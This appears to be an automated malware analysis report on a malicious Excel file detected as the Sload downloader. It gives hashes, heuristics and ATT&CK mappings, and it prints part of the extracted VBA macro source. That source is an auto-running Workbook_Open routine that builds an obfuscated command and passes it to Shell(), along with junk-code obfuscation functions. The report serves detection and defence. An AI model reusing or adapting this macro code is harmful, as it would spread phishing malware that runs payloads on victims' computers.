Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aae5b95fed9584e0…

MALICIOUS

Office (OLE)

46.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2019-08-04
MD5: 90d222bfd963523a8b4c295c3a39e917 SHA-1: 5f23eb2eb9d18df41cfe7c965c31e65106c79680 SHA-256: aae5b95fed9584e010798187e72f512230d635a36c55074717cef6e665ba2f0a
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Workbook_Open event handler that calls the Shell function. This function is used to execute a command constructed from obfuscated strings, which likely downloads and executes a secondary payload. The ClamAV detection name 'Xls.Malware.Sload' further suggests a downloader.

Heuristics 5

  • ClamAV: Xls.Malware.Sload-7135989-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sload-7135989-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9249 bytes
SHA-256: 4180e8ea469aeeed3a2ccf5b74d946583c5c26e9cf01be1753f7f439344e6a47
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub asdaasd()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Var1 = qvEWmRWbx(StrReverse(x7cioDjd8(TUjbua1H7("7F3534726F7A356840357A766E7A6B266B7E67346E7A7379"))), StrReverse(x7cioDjd8(TUjbua1H7("36"))))
Var2 = "gulling11"
Var = Var1 + Var2
Shell (Var)
End Sub
Public Function qvEWmRWbx(MxavsApOF As String, fqL7U81kx As Integer)
    Dim Yy7a2Kn5n As Integer
    For Yy7a2Kn5n = 1 To Len(MxavsApOF)
If 83854183 = 83854183 + 1 Then End
Dim uJeSbAuXZGafndJSSR As Double
GoTo OKWZnJLUeZCSkFYSIn
OKWZnJLUeZCSkFYSIn:
GoTo tTfZrbxhsxuFQltuDcV:
mPrcswyqPsQ:
bmpEablupSiBVoj = "EMNLQCvCgt"
GoTo DrMCtHRAAnaAQkyfw
tTfZrbxhsxuFQltuDcV:
LSxJJZdgYwLEoVZtVa = "kThGiqCfyeB"
GoTo aqgiazcGEmvmdqBkjQQy
SvOuSkwkicurNxINKnoJKTsZCRyEYgVBwxvAl:
IMPGgvoYFHdFJYiCQ = "qQnmOwN"
GoTo mPrcswyqPsQ
QnmOwNzDdDOIb:
If 102411773 = 102411773 + 1 Then End
Dim ZIVuuWerTmSqIiITNf As Currency
GoTo KLJOsAdqpGKMEdskVD
KLJOsAdqpGKMEdskVD:
bmpEablupSiBVoj = "EMNLQCvCgt"
GoTo uQphdpGUqenKFjlRmrzp
uQphdpGUqenKFjlRmrzp:
IMPGgvoYFHdFJYiCQ = "qQnmOwN"
GoTo eechELSxJJZdgYwLEoV
MPGgvoYFHdFJYiCQD:
QHDrMCtHRAAnaAQky = "wjnAysKHeAZ"
GoTo QnmOwNzDdDOIb
If 573637131 = 573637131 + 1 Then End
Dim tZUVTYKQXnPOeUXOnQ As String
GoTo FaDHVfAOBnOkjMsLvB
FaDHVfAOBnOkjMsLvB:
eechELSxJJZdgYwLEoV:
DdDOIbYuQphdpGUqe = "KFjlmrzpUeech"
If 83263565 = 83263565 + 1 Then End
Dim YkZWQifClvDKbcwJgN As Long
GoTo aBMGYVrOmeamDSnbkI
aBMGYVrOmeamDSnbkI:
GoTo tVaokThGGiqCfyeBTtTf
tVaokThGGiqCfyeBTtTf:
LSxJJZdgYwLEoVZtVa = "kThGiqCfyeB"
GoTo BioHPFlghfkUcjz
DrMCtHRAAnaAQkyfw:
QHDrMCtHRAAnaAQky = "wjnAysKHeAZ"
GoTo nMAysKHeAZf
mpEablupSiVojZEMNLQCvCgts:
GoTo MPGgvoYFHdFJYiCQD
aqgiazcGEmvmdqBkjQQy:
DdDOIbYuQphdpGUqe = "KFjlmrzpUeech"
If 711557284 = 711557284 + 1 Then End
Dim nfEhMyrgBqhyGoobOp As Currency
GoTo DgiPjovmSabZeCJQuH
DgiPjovmSabZeCJQuH:
GoTo SvOuSkwkicurNxINKnoJKTsZCRyEYgVBwxvAl
nMAysKHeAZf:
        Mid(MxavsApOF, Yy7a2Kn5n, 1) = Chr(Asc(Mid(MxavsApOF, Yy7a2Kn5n, 1)) - fqL7U81kx)
GoTo mpEablupSiVojZEMNLQCvCgts
BioHPFlghfkUcjz:
    Next Yy7a2Kn5n
If 734807433 = 734807433 + 1 Then End
Dim OQZjdHXpKdXNsCCBFq As String
GoTo GWadUtJClTWqTXlhRe
GWadUtJClTWqTXlhRe:
GoTo uQphdpGUqenKFjlRmrzpeechELSxJJZdgYwLEoV:
EmbvmdqBkjQQyYkMg:
vAlemPrcswyqPsQHD = "MCtHRAnaAQk"
GoTo jBNBysKIfOZfbnEEbc
FlghfkUcjzaaqgiazc:
fwjnMAysKHeAZfbmp = "ablupSiVojZEMLQCvCgts"
GoTo EmbvmdqBkjQQyYkMg
ZvQqvsDGVr:
aqgiazcGEmbvmdq = "kjQQyG"
GoTo BLGkzSmFApUefd
SLSxKJaegYx:
vAlemPrcswyqPsQHD = "MCtHRAnaAQk"
GoTo EpQZtVbozThUGiEDfM
RCvChHtJMPHhJoZTId:
    qvEWmRWbx = MxavsApOF
GoTo KYiRQEqRoAOwNzDeRPJ
KYiRQEqRoAOwNzDeRPJ:
GoTo ZvQqvsDGVr
EpQZtVbozThUGiEDfM:
fwjnMAysKHeAZfbmp = "ablupSiVojZEMLQCvCgts"
GoTo QUuUgaspLiG
jBNBysKIfOZfbnEEbc:
vOuSkwkicurNxINKVnoJ = "TsZCRyEYVBw"
GoTo IqTjPVpxnSNO
BLGkzSmFApUefd:
vOuSkwkicurNxINKVnoJ = "TsZCRyEYVBw"
GoTo SLSxKJaegYx
uQphdpGUqenKFjlRmrzpeechELSxJJZdgYwLEoV:
MPGgvoYFHdFJYiCQDqQ = "mOwNDdDOIb"
If 341016282 = 341016282 + 1 Then End
Dim CPDoQmlNuMwCcDOIaX As String
GoTo EEenAcybRqRcWoYueo
EEenAcybRqRcWoYueo:
GoTo FlghfkUcjzaaqgiazc
IqTjPVpxnSNO:
aqgiazcGEmbvmdq = "kjQQyG"
GoTo RCvChHtJMPHhJoZTId
QUuUgaspLiG:
MPGgvoYFHdFJYiCQDqQ = "mOwNDdDOIb"
If 332628542 = 332628542 + 1 Then End
Dim cdbgEKRyJIYceWyLDn As Date
GoTo uqDUiqrBYTvflFNDid
uqDUiqrBYTvflFNDid:
GoTo tVaokThGGiqCfyeBTtTfrbxhsxuFQltuDcVzBioH
tVaokThGGiqCfyeBTtTfrbxhsxuFQltuDcVzBioH:
End Function
Public Function x7cioDjd8(LjHu2zCWe As String) As String
Dim fqL7U81kx As Variant
For fqL7U81kx = 1 To Len(LjHu2zCWe) Step 2
If 714721846 = 714721846 + 1 Then End
Dim IKTqYCRwEXfVByyuAk As Integer
GoTo tynNpUFBoJAqFPwvkX
tynNpUFBoJAqFPwvkX:
GoTo uAHmzyOSUMmBteLNiKPe:
oiAxTpNTPcfuP:
NTPcfuPQakfIYqKe = "
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.